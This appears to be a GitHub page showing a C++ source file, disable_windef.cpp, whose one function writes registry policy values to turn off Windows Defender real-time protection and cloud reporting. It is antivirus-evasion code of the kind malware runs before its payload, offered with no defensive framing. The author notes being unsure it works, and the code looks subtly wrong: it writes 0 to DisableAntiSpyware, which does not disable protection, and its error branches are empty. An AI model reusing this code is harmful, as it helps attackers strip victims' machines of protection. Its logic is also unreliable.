-
Notifications
You must be signed in to change notification settings - Fork 0
/
disable_windef.cpp
42 lines (27 loc) · 1009 Bytes
/
disable_windef.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include "disable_windef.h"
//idk if working
int dis_windef() {
// Disable Windows Defender real-time protection
HKEY hKey;
DWORD value = 0;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
if (RegSetValueEx(hKey, L"DisableAntiSpyware", 0, REG_DWORD, (const BYTE*)&value, sizeof(DWORD)) == ERROR_SUCCESS) {
}
else {
}
RegCloseKey(hKey);
}
else {
}
// Disable Windows Defender cloud-based protection
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Spynet", 0, KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
if (RegSetValueEx(hKey, L"SpynetReporting", 0, REG_DWORD, (const BYTE*)&value, sizeof(DWORD)) == ERROR_SUCCESS) {
}
else {
}
RegCloseKey(hKey);
}
else {
}
return 0;
}